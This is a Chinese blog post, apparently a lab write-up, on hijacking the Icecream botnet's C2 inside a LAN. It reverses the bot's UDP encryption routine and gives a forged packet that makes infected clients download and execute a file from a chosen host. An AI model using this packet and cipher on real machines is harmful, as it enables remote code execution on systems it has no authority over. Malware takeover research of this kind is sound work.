一 概述
想要接管一个僵尸网络,至少需要分析清楚它的协议,通讯流量的加密方式,指令是否能实现命令执行。这里以Icecream僵尸网络为例来分析一下其接管的可行性,当然这里仅仅测试了局域网内的接管,要想实现互联网上的接管还需在114上进行劫持。
二 环境搭建
分析初期结合FakeNet可以初步查看流量特征。通过FakeNet可以发现Icecream蠕虫使用的是UDP协议,流量进行了加密,且端口固定为14000。
之后为了交互式的调试可以设置虚拟机的HOST解析到主机,并设置虚拟机为NAT模式,主机对Vmnet8网卡进行抓包,同时在主机上通过netcat的UDP模式监听14000端口,并在接受到请求后发送我们伪造的payload
三 样本分析
1 注入shellcode前的阶段
Icecream僵尸网络样本注入shellcode前的逻辑非常简单,主要是解密出最终的shellcode,并通过OpenProcess和WriteProcessMemory注入到explorer.exe中,然后通过CreateRemoteThread来执行shellcode
2 执行shellcode的阶段
Shellcode的功能就比较复杂了。
为了方便分析可以通过如下手段来简化shellcode分析过程。
首先就是dump出shellcode并通过shellcode加载工具来进行加载,相比于追踪注入的后的代码,直接通过shellcode加载工具可以将shellcode加载到固定的内存地址,这样一些动态加载的API调试一次便可以全部搞清楚了。
第二点就是对于没有符号的shellcode可以在其跑起来的情况下通过IDA的labeless插件IDA dump来恢复出部分符号信息来帮助我们进行分析。
通过对recvfrom和sendto下断点,发现其流量的加密算法如下。
unsignedint__cdecl encode(_BYTE* a1, unsignedintlen) { unsignedint result; unsignedint i; char v4; v4 = ((BYTE1(len) + len) | 0x88) & 0x28; for (i = 0; ; ++i) { result = i; if (i >= len) break; a1[i] ^= v4; v4 = (unsigned__int8)a1[i] << (i & 5); } return result; } |
至此可以确定我们能够伪造服务器的返回包,从而来控制该样本的行为。
接下来便是搞清楚我们发送的数据和shellcode行为之间的关系了,以及shellcode的功能是否能直接或间接的实现命令执行。
通过逆向发现shellcode虽然不存在直接的命令执行,但是存在从远程下载文件并执行的功能
构造如下UDP包加密后发送给客户端便可以触发shellcode下载文件并执行的功能
_BYTE buf1[] = { 0x01,0x01,0x04,0x05,0x01,0x4, 0x01, // ifexec 0x05, 0x03, // filenamelen 0x04, // extensionlen 0x1A,0x00, // urllen 0x00, 0x00, // dirpath // url 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x31, 0x39, 0x32, 0x2E, 0x31, 0x36, 0x38, 0x2E, 0x31, 0x38, 0x32, 0x2E, 0x31, 0x2F, 0x31, 0x2E, 0x65, 0x78, 0x65, 0x70, 0x79, 0x74, 0x68, 0x6F, 0x6E, // useragent 0x2E, 0x65, 0x78, 0x65, // extension 0x62, 0x61, 0x61 // filename }; |
最终的效果如下,被感染的虚拟机中的样本C2被劫持到外部主机之后,向其发送我们构造的payload便能实现文件的下载并执行,这里下载的baa.exe的功能是打印Hello!
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...